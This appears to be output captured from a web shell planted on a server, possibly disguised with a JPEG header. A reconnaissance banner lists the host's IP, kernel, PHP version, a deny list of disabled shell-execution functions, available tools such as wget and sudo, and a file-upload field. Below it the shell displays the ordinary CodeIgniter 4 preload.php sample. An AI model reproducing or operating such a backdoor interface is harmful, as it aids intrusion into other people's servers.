���� JFIF ��
Server IP : 103.65.238.20 / Your IP : 10.0.0.10 Web Server : Apache System : Linux localhost.localdomain 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : www ( 1000) PHP Version : 7.3.32 Disable Function : passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /www/wwwroot/toba_empp/ |
Upload File : |
<?php /** * This file is part of CodeIgniter 4 framework. * * (c) CodeIgniter Foundation <admin@codeigniter.com> * * For the full copyright and license information, please view * the LICENSE file that was distributed with this source code. */ /* *--------------------------------------------------------------- * Sample file for Preloading *--------------------------------------------------------------- * See https://www.php.net/manual/en/opcache.preloading.php * * How to Use: * 0. Copy this file to your project root folder. * 1. Set the $paths property of the preload class below. * 2. Set opcache.preload in php.ini. * php.ini: * opcache.preload=/path/to/preload.php */ // Load the paths config file require __DIR__ . '/app/Config/Paths.php'; // Path to the front controller define('FCPATH', __DIR__ . DIRECTORY_SEPARATOR . 'public' . DIRECTORY_SEPARATOR); /** * See https://www.php.net/manual/en/function.str-contains.php#126277 */ if (! function_exists('str_contains')) { /** * Polyfill of str_contains() */ function str_contains(string $haystack, string $needle): bool { return empty($needle) || strpos($haystack, $needle) !== false; } } class preload { /** * @var array Paths to preload. */ private array $paths = [ [ 'include' => __DIR__ . '/vendor/codeigniter4/framework/system', 'exclude' => [ // Not needed if you don't use them. '/system/Database/OCI8/', '/system/Database/Postgre/', '/system/Database/SQLSRV/', // Not needed. '/system/Database/Seeder.php', '/system/Test/', '/system/Language/', '/system/CLI/', '/system/Commands/', '/system/Publisher/', '/system/ComposerScripts.php', '/Views/', // Errors occur. '/system/Config/Routes.php', '/system/ThirdParty/', ], ], ]; public function __construct() { $this->loadAutoloader(); } private function loadAutoloader() { $paths = new Config\Paths(); require rtrim($paths->systemDirectory, '\\/ ') . DIRECTORY_SEPARATOR . 'bootstrap.php'; } /** * Load PHP files. */ public function load() { foreach ($this->paths as $path) { $directory = new RecursiveDirectoryIterator($path['include']); $fullTree = new RecursiveIteratorIterator($directory); $phpFiles = new RegexIterator( $fullTree, '/.+((?<!Test)+\.php$)/i', RecursiveRegexIterator::GET_MATCH ); foreach ($phpFiles as $key => $file) { foreach ($path['exclude'] as $exclude) { if (str_contains($file[0], $exclude)) { continue 2; } } require_once $file[0]; echo 'Loaded: ' . $file[0] . "\n"; } } } } (new preload())->load();